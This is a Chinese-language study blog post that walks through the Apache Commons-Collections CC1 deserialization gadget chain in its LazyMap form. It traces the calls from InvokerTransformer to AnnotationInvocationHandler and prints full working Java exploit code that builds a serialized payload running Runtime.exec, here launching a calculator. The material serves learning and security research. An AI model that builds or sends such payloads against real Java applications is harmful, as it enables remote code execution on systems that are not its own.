JAVA安全学习笔记--Commons-Collections链复现篇(CC1链补充--LazyMap版)

CC1链补充(LazyMap版)

攻击链分析

1. 寻找链尾

上来的流程还是一样的寻找链尾的exec方法。

  • 漏洞点还是 InvokeTransformer下的transform方法

这里就不重复介绍了

2. 寻找链子

InvokeTransformer 下的 transform 方法,进行 find usages 操作。

之前我们所讲的是 TransformedMap 的链子,今天我们去追正版 CC1 链里面 LazyMap 的链子。

image-20250910203623385

这一次我们跟进LazyMap查看

image-20250910203735886

我们看到这里,是 LazyMap 这个类的 get 方法中出现了 .transform 方法。get 方法的作用域为 public。并且这里是factory调用了transform方法,我们查看一下这是什么。

image-20250910212108512

我们可以发现factory是Transformer实例,而且同样有decorate方法能够调用LazyMap的构造函数实例化一个LazyMap对象,同时会对factory进行初始化。那么这个地方的做法便与原生的CC1大同小异了,我便不过多解释了。

我们写一个EXP来测试一下目前的链子是可行的:

package com.test.Rce;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class LazyMapRce {
    public static void main(String[] args) {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap hashmap = new HashMap();
        Map lazymap = LazyMap.decorate(hashmap,invokerTransformer);
        lazymap.get(runtime);
    }
}

运行看效果

image-20250910212800668

  • 成功弹出计算器,说明目前的链子是没问题的。

我们从get方法继续向前跟进,find usages。

由于查出来的方法太多了,这里便直接告诉答案,依旧是我们的老朋友AnnotationInvocationHandler类。在它的invoke方法中调用了get方法。

image-20250910213132214

看到invoke你觉得熟不熟悉?没错它正是我们在动态代理的时候讲到的,当我们通过代理对象调用方法的时候便会调用它的invoke方法。而从此时的类名也能看出来与InvocationHandler有很大的关系。

所以接下来我们需要找能利用动态代理调用方法的地方。

image-20250910213623792

又是我们的老朋友readObject方法中,有一处地方调用了memberVaulesentrySet()方法,而memberValues是可以通过构造函数初始化的,我们只需要传入动态代理的实例便能成功调用invoke方法,我们也不需要往前跟进了因为已经到readObject入口类了哈哈哈。

所以完整的链子如下:

AnnotationInvocationHandler#readObject -->  AnnotationInvocationHandler#invoke  --> LazyMap#get  --> InvokeTransformer#transform

4. 编写EXP

直接上完整的EXP:

package com.test.Rce;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class LazyMapRce {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value","6666");
        Map<Object, Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);

        aihConstructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
                , new Class[]{Map.class}, invocationHandler);
        invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

        // 序列化反序列化
        serialize(invocationHandler);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

其中用于生成动态代理类的代码如下:

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
                , new Class[]{Map.class}, invocationHandler);
        invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

其实我懂动态代理的原理,但是我这个地方的代码页不咋会写哈哈哈。

运行看看效果:

image-20250910215809463

  • 利用成功!

5. 总结

可以发现只要我们前面的内容都掌握了,在这条复现的时候见到的基本都是老朋友,所以每个地方都一定要自己动手复现。

调用链 
    InvokeTransformer#transform
        LazyMap#get
            AnnotationInvocationHandler#readObject

辅助链
ChainedTransformer
ConstantTransformer
HashMap
Map(Proxy)#entrySet

image-20250910221236937

至此CC1链子便搞完了。

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注